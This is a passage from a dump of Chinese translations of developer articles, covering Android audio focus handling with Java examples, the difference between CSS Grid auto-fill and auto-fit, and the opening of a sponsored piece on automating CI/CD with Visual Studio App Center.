当通话结束，您的应用会被授权**延迟音频聚焦**。这个授权是来自刚才申请音频聚焦被拒绝后锁住的那个请求，它只是被延迟一段时间后再授权给您。您可以像上文建议应对音频焦点得失的处理方式那样处理，在本例中，此时便可以开始恢复播放。\n\n目前低于 Android O 的版本是不支持**延迟音频聚焦**这个功能的，所以本用例在其它版本下，应用并不会延迟获得音频焦点。\n\n### 用例三 ：导航应用或其它能生成音频通知的应用程序\n\n如果您正在开发一款能够在短时间内以突发的方式生成音频的应用程序，提供良好的音频焦点用户体验是非常重要的。类似的应用程序功能如：生成通知声音，提醒声音或一次又一次地在后台生成口语播放的应用程序。\n\n假设您的应用正在后台运行，并且即将生成一些音频。 用户正在收听音乐或播客，而您的应用正好在短时间内生成音频：\n\n在您的应用程序生成音频之前，它应该请求短暂的音频焦点。 只有当它被授予焦点时，才能播放音频。优秀的应用程序应该遵守音频焦点的短暂丢失选择降低音量，如果抢占音频焦点的应用程序是播客应用程序，则您可以考虑暂停，直到重新获得音频焦点以恢复播放为止。未能正确请求音频焦点将导致用户同时听到音乐（或播客）和您的应用音频。\n\n### 用例四 ：录音应用程序或语音识别应用程序\n\n如果您正在开发一款需要在一段时间内录制音频的应用程序，在这段时间内系统或其他应用程序不应该发出任何声音（通知或其他媒体播放），这时处理好音频焦点对于提供良好的用户体验至关重要。需要做到这些的程序如：录音或语音识别应用程序\n\n您的应用应当请求暂时的、独占的音频焦点，如果是来自于系统授权的，那么便可以安心地开始录制，因为系统了解并确保手机在此期间可能生成或存在的其它音频不会干扰到您的录制。在此期间，来自于其它应用的音频焦点申请都会被系统拒绝。当录制完成记得释放音频焦点，以便系统授权其它应用正常播放声音。\n\n### 总结\n\n当您的应用程序需要输出音频时，应该请求音频焦点（并且可以请求不同类型的焦点）。\n\n只有在获得音频焦点之后，才能播放声音。但是，在获取音频焦点之后，您的应用程序在完成播放音频之前可能无法一直保留它。\n\n另一个应用程序可以请求并抢占音频焦点。在这种情况下，您的应用程序应该暂停播放或降低其音量，以便让用户更清晰地听到新的音频来源。\n\n在 Android O 上，如果您的应用程序在请求音频焦点时被拒，系统可以等音频焦点空闲时发送给您的应用程序（延迟聚焦）。\n\n想详细了解如何在您的应用中用代码实现音频焦点，请阅读 [第三篇文章](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md)。\n\n[**理解音频焦点 (第 3/3 部分) - Nazmul Idris (Naz) - Medium**](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md)\n\n### Android多媒体开发资源\n\n*   [示例代码 — MediaBrowserService](https://github.com/googlesamples/android-MediaBrowserService)\n*   [示例代码 — MediaSession Controller Test（带有音频焦点测试）](https://github.com/googlesamples/android-media-controller)\n*   [了解 MediaSession](https://medium.com/google-developers/understanding-mediasession-part-1-3-e4d2725f18e4)\n*   [多媒体 API 指南 — 多媒体应用程序概述](https://developer.android.com/guide/topics/media-apps/media-apps-overview.html)\n*   [多媒体 API 指南 — 使用MediaSession](https://developer.android.com/guide/topics/media-apps/working-with-a-media-session.html)\n*   [使用 MediaPlayer 构建简单的音频应用程序](https://medium.com/google-developers/building-a-simple-audio-app-in-android-part-1-3-c14d1a66e0f1)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/audio-focus-3.md",
    "content": "> * 原文地址：[Understanding Audio Focus (Part 3 / 3): 3 steps to implementing Audio Focus in your app](https://medium.com/google-developers/audio-focus-3-cdc09da9c122)\n> * 原文作者：[Nazmul Idris (Naz)](https://medium.com/@nazmul?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md)\n> * 译者：[oaosj](https://github.com/oaosj)\n\n# 理解音频焦点 (第 3/3 部分)：三个步骤实现音频聚焦\n\n![](https://cdn-images-1.medium.com/max/2000/1*2_mUAwAihjBYMszQCCL0Mw.png)\n\n\n本系列文章旨在让您深入理解音频焦点的含义，使用方法和其对用户体验的重要性。本篇文章是该系列的最后一部分，该系列三篇文章包含了：\n\n1.  [最常见的音频焦点用例和成为一个优秀的媒体使用者的重要性](https://medium.com/@nazmul/audio-focus-1-6b32689e4380)\n2.  [其它一些能体现音频焦点对应用体验的重要性的用例](https://medium.com/@nazmul/audio-focus-2-42244043863a)\n3.  在您的应用中实现音频焦点的三个步骤 (**此篇文章**)\n\n如果您不妥善处理好音频聚焦，您的用户可能受到下图所示的困扰。\n\n![如果您不处理音频焦点会发生什么呢](https://cdn-images-1.medium.com/max/800/1*53tFOWaJmR_hrJq8QL0DHg.png)\n\n现在您已经知道音频聚焦的重要性，让我们通过一些步骤来让您的应用程序正确处理音频焦点。\n\n开始代码示例之前，先看看下图，它展示了实现步骤：\n\n![](https://cdn-images-1.medium.com/max/800/1*KdcNZbndhRg5ne18kquBKA.png)\n\n### 步骤一 ：请求音频焦点\n\n获取音频焦点的第一个步骤是先向系统发出申请焦点的消息。注意这只是发出请求，并非直接获取。为了申请到音频聚焦，您必须向系统描述好您的意图。介绍四个常见音频焦点类型：\n\n*   [AUDIOFOCUS_GAIN](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN)的使用场景：应用需要聚焦音频的时长会根据用户的使用时长改变，属于不确定期限。例如：多媒体播放或者播客等应用。\n*   [AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK)的使用场景：应用只需短暂的音频聚焦，来播放一些提示类语音消息，或录制一段语音。例如：闹铃，导航等应用。\n*  [AUDIOFOCUS_GAIN_TRANSIENT](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT)的使用场景：应用只需短暂的音频聚焦，但包含了不同响应情况，例如：电话、QQ、微信等通话应用。\n*  [AUDIOFOCUS_GAIN_TRANSIENT_EXCLUSIVE](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT_EXCLUSIVE) 的使用场景：同样您的应用只是需要短暂的音频聚焦。未知时长，但不允许被其它应用截取音频焦点。例如：录音软件。\n\n在 Android O 或者更新的版本上您必须使用 [builder](https://developer.android.com/reference/android/media/AudioFocusRequest.Builder.html) 来实例化一个 [AudioFocusRequest](https://developer.android.com/reference/android/media/AudioFocusRequest.html) 类。（在 builder 中必须指明请求的音频焦点类型）\n\n```\nAudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);\nAudioAttributes mAudioAttributes =\n       new AudioAttributes.Builder()\n               .setUsage(AudioAttributes.USAGE_MEDIA)\n               .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)\n               .build();\nAudioFocusRequest mAudioFocusRequest =\n       new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)\n               .setAudioAttributes(mAudioAttributes)\n               .setAcceptsDelayedFocusGain(true)\n               .setOnAudioFocusChangeListener(...) // Need to implement listener\n               .build();\nint focusRequest = mAudioManager.requestAudioFocus(mAudioFocusRequest);\nswitch (focusRequest) {\n   case AudioManager.AUDIOFOCUS_REQUEST_FAILED:\n       // 不允许播放\n   case AudioManager.AUDIOFOCUS_REQUEST_GRANTED:\n       // 开始播放\n}\n```\n\n音频焦点类型要点:\n\n1.  [AudioManager.AUDIOFOCUS_GAIN](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN)：请求长时间音频聚焦。如果只是临时需要音频焦点可以选用这几个：[AUDIOFOCUS_GAIN_TRANSIENT](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT)或[AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK)。\n2. 您必须通过 [setOnAudioFocusChangeListener()](https://developer.android.com/reference/android/media/AudioFocusRequest.Builder.html#setOnAudioFocusChangeListener%28android.media.AudioManager.OnAudioFocusChangeListener%29) 方法来实现 [AudioManager.OnAudioFocusChangeListener](https://developer.android.com/reference/android/media/AudioManager.OnAudioFocusChangeListener.html) 接口。用来响应音频焦点状态的变化，如被其它应用截取了音频焦点，或者其它应用释放焦点，都会在这里回调。\n3. 调用 AudioManager 的 [requestAudioFocus(…)](https://developer.android.com/reference/android/media/AudioManager.html#requestAudioFocus%28android.media.AudioFocusRequest%29) 方法，需要用到实例化好的 [AudioFocusRequest](https://developer.android.com/reference/android/media/AudioFocusRequest.html)。 请求结果以一个 int 变量返回：[AUDIOFOCUS_REQUEST_GRANTED](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_REQUEST_GRANTED) 表示获得授权，\n[AUDIOFOCUS_REQUEST_FAILED](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_REQUEST_FAILED) 表示被系统拒绝。\n\n在 Android N 及其更早的版本中，不需要用到 AudioFocusRequest，只需实现 AudioManager.OnAudioFocusChangeListener 接口。代码如下：\n\n```\nAudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);\nint focusRequest = mAudioManager.requestAudioFocus(\n..., // Need to implement listener\n       AudioManager.STREAM_MUSIC,\n       AudioManager.AUDIOFOCUS_GAIN);\nswitch (focusRequest) {\n   case AudioManager.AUDIOFOCUS_REQUEST_FAILED:\n       // don't start playback\n   case AudioManager.AUDIOFOCUS_REQUEST_GRANTED:\n       // actually start playback\n}\n```\n\n上述皆为音频焦点的申请，接下来我们将介绍 AudioManager.OnAudioFocusChangeListener 如何实现，以此来响应音频焦点的状态。\n\n### 步骤二 ：响应音频焦点的状态改变\n\n一旦获得音频聚焦，您的应用要马上做出响应，因为它的状态可能在任何时间发生改变（丢失或重新获取），您可以实现 **OnAudioFocusChangeListener** 来响应状态改变。\n\n以下代码展示了 OnAudioFocusChangeListener 接口的实现，它处理了与 [Google Assistant](https://developer.android.com/guide/topics/media-apps/interacting-with-assistant.html) 应用协同工作的时候，音频焦点的各种状态的变化。\n\n```\nprivate final class AudioFocusHelper\n        implements AudioManager.OnAudioFocusChangeListener {\nprivate void abandonAudioFocus() {\n        mAudioManager.abandonAudioFocus(this);\n    }\n@Override\n    public void onAudioFocusChange(int focusChange) {\n        switch (focusChange) {\n            case AudioManager.AUDIOFOCUS_GAIN:\n                if (mPlayOnAudioFocus && !isPlaying()) {\n                    play();\n                } else if (isPlaying()) {\n                    setVolume(MEDIA_VOLUME_DEFAULT);\n                }\n                mPlayOnAudioFocus = false;\n                break;\n            case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK:\n                setVolume(MEDIA_VOLUME_DUCK);\n                break;\n            case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT:\n                if (isPlaying()) {\n                    mPlayOnAudioFocus = true;\n                    pause();\n                }\n                break;\n            case AudioManager.AUDIOFOCUS_LOSS:\n                mAudioManager.abandonAudioFocus(this);\n                mPlayOnAudioFocus = false;\n                stop();\n                break;\n        }\n    }\n}\n```\n\n关于暂停播放，应用程序的行为应该是不同的。如果用户主动暂停播放时，您的应用应释放音频焦点。如果是为了响应音频焦点的暂时丢失而暂停播放，则不应释放音频焦点。 这里有一些用例来说明这一点。\n\n分析上面接口 **mPlayOnAudioFocus** 的场景，您的音频应用正在后台播放音乐：\n\n1.  用户点击播放，您的应用向系统申请音频聚焦，假如系统授权了。\n2.  现在用户长按 HOME 键启动 Google Assistant。Google Assistant 会向系统申请一个短暂的音频聚焦。\n3.  一旦系统授权给 Google Assistant，您的 **OnAudioFocusChangeListener** 接口会收到 **AUDIOFOCUS_LOSS_TRANSIENT** 事件回调。您在这个回调里处理暂停音乐播放。\n4.  当 Google Assistant 使用结束，您的 **OnAudioFocusChangeListener** 会收到 **AUDIOFOCUS_GAIN** 事件回调。 在这里您可以处理是否让音乐恢复播放。\n\n以下代码展示如何释放音频焦点：\n\n```\npublic final void pause() {\n   if (!mPlayOnAudioFocus) {\n       mAudioFocusHelper.abandonAudioFocus();\n   }\n  onPause();\n}\n```\n\n您可以看到释放焦点是在用户暂停播放的时候，而非其它应用请求焦点 **AUDIOFOCUS_GAIN_TRANSIENT** 导致他们释放焦点。\n\n#### 应对焦点丢失\n\n选择在 **OnAudioFocusChangeListener** 中暂停还是降低音量,取决于您应用的交互方式。在 Android O 上，系统会自动地帮您降低音量，所以您可以忽略 **OnAudioFocusChangeListener** 接口的 **AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK** 事件。\n\n在 Android O 以下的版本，您需要自己用代码实现，具体实现方式如上面代码所示。\n\n#### 延迟聚焦\n\nAndroid O 介绍了延迟聚焦这个概念，您可以在申请音频聚焦的时候来响应 **AUDIOFOCUS_REQUEST_DELAYED** 这个结果，如下所示：\n\n```\npublic void requestPlayback() {\n    int audioFocus = mAudioManager.requestAudioFocus(mAudioFocusRequest);\n    switch (audioFocus) {\n        case AudioManager.AUDIOFOCUS_REQUEST_FAILED:\n            ...\n        case AudioManager.AUDIOFOCUS_REQUEST_GRANTED:\n            ...\n        case AudioManager.AUDIOFOCUS_REQUEST_DELAYED:\n            mAudioFocusPlaybackDelayed = true;\n    }\n}\n```\n\n在您 **OnAudioFocusChangeListener** 的实现,您需要检查 **mAudioFocusPlaybackDelayed** 这个变量，当您响应 **AUDIOFOCUS_GAIN** 音频聚焦的时候, 如下所示：\n\n```\nprivate void onAudioFocusChange(int focusChange) {\n   switch (focusChange) {\n       case AudioManager.AUDIOFOCUS_GAIN:\n           logToUI(\"Audio Focus: Gained\");\n           if (mAudioFocusPlaybackDelayed || mAudioFocusResumeOnFocusGained) {\n               mAudioFocusPlaybackDelayed = false;\n               mAudioFocusResumeOnFocusGained = false;\n               start();\n           }\n           break;\n       case AudioManager.AUDIOFOCUS_LOSS:\n           mAudioFocusResumeOnFocusGained = false;\n           mAudioFocusPlaybackDelayed = false;\n           stop();\n           break;\n       case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT:\n           mAudioFocusResumeOnFocusGained = true;\n           mAudioFocusPlaybackDelayed = false;\n           pause();\n           break;\n       case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK:\n           pause();\n           break;\n   }\n}\n```\n\n### 步骤三 ：释放音频焦点\n\n播放完音频，记得使用 [AudioManager.abandonAudioFocus(…)](https://developer.android.com/reference/android/media/AudioManager.html#abandonAudioFocus%28android.media.AudioManager.OnAudioFocusChangeListener%29) 来释放掉音频焦点。在前面的步骤中，我们遇到了一个应用暂停播放应该释放音频焦点的情况，但是这个应用依旧保留了音频焦点。\n\n### 代码示例\n\n#### 几个您可以在您应用使用的案例\n\n在 [GitHub gist](https://gist.github.com/nic0lette/c360dd353c451d727ea017890cbaa521) 上有三个类关于音频焦点的使用，这可能对您的代码有帮助。\n\n*   [AudioFocusRequestCompat](https://gist.github.com/nic0lette/c360dd353c451d727ea017890cbaa521#file-audiofocusrequestcompat-java)：使用这个类来描述您的音频焦点类型\n*   [AudioFocusHelper](https://gist.github.com/nic0lette/c360dd353c451d727ea017890cbaa521#file-audiofocushelper-java)：这个类帮助您处理音频焦点，您可以把它加入您的代码，但是必须确保在您的播放 service 中使用 AudioFocusAwarePlayer 这个接口。\n*   [AudioFocusAwarePlayer](https://gist.github.com/nic0lette/c360dd353c451d727ea017890cbaa521#file-audiofocusawareplayer-java)：这个接口应该在 service 中实现，来管理您的播放组件（MediaPlayer或者ExoPlayer），它可以确保 AudioFocusHelper 正常工作。\n\n#### 完整的代码示例\n\n[android-MediaBrowserService](https://github.com/googlesamples/android-MediaBrowserService) 完整展示了音频焦点的处理，使用 **MediaPlayer** 来播放音乐，同时使用了 **MediaSession** 。\n\n[PlayerAdapter](https://github.com/googlesamples/android-MediaBrowserService/blob/master/app/src/main/java/com/example/android/mediasession/service/PlayerAdapter.java)展示了音频聚焦的最佳实践，请注意 **pause()** 和 **onAudioFocusChange(int)** 方法的实现。\n\n### 测试您的代码\n\n一旦您在应用中实现了音频焦点的处理，您可以使用安卓媒体控制工具来测试您的应用对音频聚焦的真实反映，具体使用方法请查阅 [GitHub/Android Media Controller](https://github.com/googlesamples/android-media-controller#audio-focus).\n\n![](https://cdn-images-1.medium.com/max/800/1*ZiD8Wht_tAyFC4WDwVhcjg.png)\n\n### Android多媒体开发资源\n\n*   [示例代码 — MediaBrowserService](https://github.com/googlesamples/android-MediaBrowserService)\n*   [示例代码 — MediaSession Controller Test （带有音频焦点测试）](https://github.com/googlesamples/android-media-controller)\n*   [了解 MediaSession](https://medium.com/google-developers/understanding-mediasession-part-1-3-e4d2725f18e4)\n*   [多媒体 API 指南 — 多媒体应用程序概述](https://developer.android.com/guide/topics/media-apps/media-apps-overview.html)\n*   [多媒体 API 指南 — 使用 MediaSession](https://developer.android.com/guide/topics/media-apps/working-with-a-media-session.html)\n*   [使用 MediaPlayer 构建简单的音频应用程序](https://medium.com/google-developers/building-a-simple-audio-app-in-android-part-1-3-c14d1a66e0f1)\n\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit.md",
    "content": "> * 原文地址：[Auto-Sizing Columns in CSS Grid: `auto-fill` vs `auto-fit`](https://css-tricks.com/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit/)\n> * 原文作者：[SARA SOUEIDAN](https://css-tricks.com/author/sarasoueidan/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit.md](https://github.com/xitu/gold-miner/blob/master/TODO/auto-sizing-columns-css-grid-auto-fill-vs-auto-fit.md)\n> * 译者：[pot-code](https://github.com/pot-code)\n> * 校对者：[ParadeTo](https://github.com/ParadeTo)、[realYukiko](https://github.com/realYukiko)\n\n# CSS Grid 之列宽自适应：`auto-fill` vs `auto-fit`\n\n除了显式的指定列大小之外，CSS Grid 还有个非常强大的功能 —— 模式填充（repeat-to-fill）列然后对内容进行自动布局。也就是说，开发者只需要指定列数，自适应方面的事情（视口尺寸小则显示列数少，反之则多）交给浏览器来处理就行了，也不需要用媒体查询。\n\n上述功能完全可以用一条语句就能实现，这不禁让我想起《哈利波特》里，邓布利多在霍拉斯家里挥舞着他的巴拉拉小魔棒，然后“家具一件件跳回了原来的位置，装饰品在半空中恢复了原形，羽毛重新钻回软垫里，破损的图书自动修复，整整齐齐地排列在书架上…”。\n\n就是这么神奇，而且还不用媒体查询。这一切都归功于 `repeat()` 方法和自动布局的关键字。\n\n其实这方面的技术文章很多，基本用法我就不在此赘述了，有兴趣可以参考 Tim Wright 写的 [博文](http://csskarma.com/blog/css-grid-layout/)，个人极力推荐。\n\n总之，`repeat()` 方法能根据你的需要分割出任意多个列。例如，如果你需要一个基于 12 列的网格系统，你可以这么写：\n\n```\n.grid {\n   display: grid;\n\n  /* 指定网格列数 */\n  grid-template-columns: repeat(12, 1fr);\n}\n```\n\n`1fr` 表示让浏览器将网格空间进行均分，每列占其一分，这样就创建了 12 个宽度不固定但是相等的列。而且不管视口宽度如何，都会保持 12 列不变。但是，估计你也想到了，如果视口过窄，内容必然会被挤扁。\n\n所以，这里有必要设置列的最小宽度来保证容器不至于太窄，这里需要用到 `minmax()` 方法。\n\n```\ngrid-template-columns: repeat( 12, minmax(250px, 1fr) );\n```\n\n按照 grid 的脾性，这么做肯定会导致当前行内容溢出，即便视口在最小列宽的限制条件下实在无法容纳这些列，这些列也不会自动换行，因为之前告诉过浏览器必须有 12 列。\n\n为了实现换行，可以用 `auto-fit` 或 `auto-fill`。\n\n```\ngrid-template-columns: repeat( auto-fit, minmax(250px, 1fr) );\n```\n\n这条语句让浏览器自个儿去处理列宽和元素的换行，如果容器宽度不够，元素会自动换行，也就不会导致溢出了。这里仍旧用了 `fr` 单位，这样的话，如果行内剩下的空间不足以容纳另外一列时，已有的列能自动扩张占满一整行，不造成空间浪费。\n\n乍一看名字，`auto-fill` 和 `auto-fit` 似乎是完全相反的两个东西，实际上它们的区别相当微妙。\n\n非要说的话，用 `auto-fit` 的时候，当前行的末尾留了不少空白，但是什么时候留白，为什么会留白呢？\n\n来让我们一探究竟。\n\n### Fill 和 Fit 的区别到底在哪？\n\n在最近一个 CSS 研讨会上，我是这么总结 `auto-fill` 和 `auto-fit` 的区别的：\n\n> `auto-fill` 倾向于容纳更多的列，所以如果在满足宽度限制的前提下还有空间能容纳新列，那么它会暗中创建一些列来填充当前行。即使创建出来的列没有任何内容，但实际上还是占据了行的空间。\n> \n> `auto-fit` 倾向于使用最少列数占满当前行空间，浏览器先是和 `auto-fill` 一样，暗中创建一些列来填充多出来的行空间，然后坍缩（collapse）这些列以便腾出空间让其余列扩张。\n\n乍看起来还是挺懵逼的，稍后我会做一个可视化图来展示这些行为，这样更容易理解一点。Firefox 有专门的 Grid 分析工具能帮助显示元素和列的尺寸、位置（译者注：用开发者工具拾取容器元素，在样式侧边栏中的 `display: grid` 中的 `grid` 左侧有个网格图标，点一下就能显式网格线条了）。\n\n以 [这里](https://codepen.io/SaraSoueidan/pen/JrLdBQ/) 的 demo 为例。\n\n还是用 `repeat()` 方法来定义列，设置其最小宽度为 100px，最大为 `1fr`，这样，如果存在额外空间，每一列分到的空间大小都相等。这里让列数自行计算，换行和自适应都交给浏览器处理。\n\n第一个例子使用 `auto-fill` 关键字，第二个则是 `auto-fit`。\n\n```\n.grid-container--fill {\n  grid-template-columns: repeat(auto-fill, minmax(100px, 1fr));\n}\n\n.grid-container--fit {\n  grid-template-columns: repeat(auto-fit, minmax(100px, 1fr));\n}\n```\n\n**在特定的情况下，`auto-fill` 和 `auto-fit` 的效果是一样的。**\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/12/auto-fill.png)\n\n虽然看起来一样，但骨子里还是不同的。看起来一样只是因为视口的宽度造成了这种巧合.\n\n使它们产生不同的结果的关键点在于 `grid-template-columns` 中列数和列宽的设置，例子不同，产生的结果也会不同。\n\n当视口的宽度大到能够容纳额外的列到当前行时，差别就会体现出来了。这时，浏览器会采用两种方式来处理这种情况，怎么处理取决于是否还有内容需要放到多出的列里面。\n\n所以，如果当前行还能再放得下一列，浏览器的行为如下：\n\n1. “我这还有空间再放一列，还有没放进来的内容吗（如：grid item）？如果有，OK，我再在当前行添加一列，如果视口太小，空间不够了，我换一行再加”。\n2. 如果没有多的内容：“是让这新的一列尸位素餐呢，还是让其坍缩让其余的列进行扩张来占据它的空间呢？”\n\n`auto-fill` 和 `auto-fit` 的出现解答了最后一个问题：在没有多的内容的情况下，是坍缩还是任其占位？\n这是问题，同时也是选择，最终取决于你的内容，以及你想该内容在响应式设计下如何表现。\n\n下面来详细解释。为了形象、生动的表现出 `auto-fill` 和 `auto-fit` 的区别，请按我的步骤做，观察屏幕上的变化。现在，我正在调整视口的大小，留出足够的横向空间，让其能容纳更多的列到当前行。牢记一点，例子中的两行有完全相同的内容、相同的列数，唯一的区别是第一行用的是 `auto-fill`，第二行用的是 `auto-fit`。\n\n这下应该清楚了吧，如果还是不明白，那我们继续：\n\n`auto-fill` 的做法：“来‘列’啊，给我把这行全占了，列越多越好，我不介意有些个列完全是透明的 —— 看不到不代表不存在嘛。有空间就加列，有无内容无所谓，反正空间我是占了（也就是说会用内容/grid item 来填充）。\"\n\n如上所述，`auto-fill` 尽可能容纳多的列，即使有些列是空的，`auto-fit` 则稍显不同。\n`auto-fit` 的做法和 `auto-fill` 一样，随着视口宽度增大而增加列数，区别在于新增加的列都坍缩了（包括间隔 gap 在内）。用 Firefox 的 Grid 工具来可视化这个过程再合适不过了，当视口的宽度增加时，新的列也被添加进来，grid 的线条也会增加，肉眼就能观察得到全过程。\n\n`auto-fit` 的做法：“先用已有的列进行填充，然后尽情扩张直到占满一整行空间。空白列不允许占据多出的空间，这些空间要好好利用，应该让已经填进去的列（内容/grid item）扩张自己来填充这些空间。”\n\n有必要记住的一点是，在以上两种情况中，多出来的列（无论最后是否坍缩）都不是隐式的列（implicit columns） —— 这在官方文档里有特殊的含义。这里新增的，或者说创建的列都在显式 grid（explicit grid）里面，和直接指明划分出 12 列的 grid 是一样的。所以，使用列数索引时， `-1` 会指向 grid 的末端，如果是隐式创建的，情况就不是这样了。 给 [Rachel Andrew](https://twitter.com/rachelandrew) 加鸡腿，感谢他给出的这个小贴士。\n\n### 总结\n\n只有行的宽度大到能够容纳额外的列时，`auto-fill` 和 `auto-fit` 这两者的区别才会体现出来。\n\n用 `auto-fit` 时，内容区会自动拉伸以便占满一整行；另一方面，使用 `auto-fill` 的时候，浏览器对待空列和那些有实质内容的列一样，一视同仁，允许其占用行空间 —— 即使这些空列并无实质性内容，它们也还是会分得行空间的一杯羹，所以也能间接的影响那些有内容的列的大小，或者说宽度。\n\n你更倾向于哪种行为取决于你的需求，说实在的，我也在想到底有哪些情况，`auto-fill` 会比 `auto-fit` 更适用一点。如果你恰好周围有这样的使用场景，希望能在评论区不吝赐教。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/automate-cicd-visual-app-center.md",
    "content": "> * 原文地址：[Automate CI/CD and Spend More Time Writing Code](https://www.sitepoint.com/automate-cicd-visual-app-center/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[Cormac Foster](https://www.sitepoint.com/author/cfoster/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/automate-cicd-visual-app-center.md](https://github.com/xitu/gold-miner/blob/master/TODO/automate-cicd-visual-app-center.md)\n> * 译者：[Yong Li](https://github.com/NeilLi1992)\n> * 校对者：[zhaoyi0113](https://github.com/zhaoyi0113)，[LeviDing](https://github.com/leviding)\n\n# 自动化持续集成/持续分发，以节省更多时间编写代码\n\n**该文章由 [微软 Visual Studio 应用中心](https://appcenter.ms/signup?utm_source=Sitecore&utm_medium=Blog&utm_campaign=appcenter_connect) 赞助。请支持我们的合作方，是他们让 SitePoint 成为可能。**\n\n什么是软件开发中最棒的部分？编写漂亮的代码。\n\n什么是最糟的部分？其余的一切。\n\n开发软件是一份精彩的工作。你会用全新的方法解决问题，取悦用户，并且亲眼见证你的工作让生活更美好。然而在我们花费时间编写代码之外，我们常常还要花费同样多的时间来管理随之而来的各种琐碎开销 —— 这些都是在浪费时间。以下是一些最大的效率黑洞，以及在微软我们是如何处理这些问题，以帮助你节省一些开发时间。\n\n## 1. 生成\n\n让你超赞的应用到达用户手中的第一步是什么？让它出现。许多人可能觉得把源代码转换成二进制文件，在今天已经不是什么难事了，但实际上它依然是。取决于项目的不同，你可能一天需要编译好几次，或是在不同的平台上编译，而这些都占用了你本可以用来编写代码的宝贵时间。除此之外，如果你在生成 iOS 应用，你还需要 Mac 生成代理，尤其是当你使用跨平台框架来创建应用时。而这甚至都不一定是你最主要的开发工具。\n\n你想要夺回这些时间，最好的办法就是**自动化**（我还会多次重申这点）。你需要将配置和硬件管理都自动化，使得应用需要生成的时候，直接就可以开始生成。\n\n![使用微软移动中心来生成](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/11/1510795993Mobile-Center_Image1_Build-1024x524.png)\n\n我们对于这一需求的回应就是：Visual Studio 应用中心生成服务。这一服务帮你自动化所有你不想手动重复的步骤，使得你每次提交代码的时候，或者无论何时你、你的测试团队、或者你的发布经理希望的时候，你都可以快速生成。只要将生成服务连接到 GitHub，BitBucket 或者 VSTS 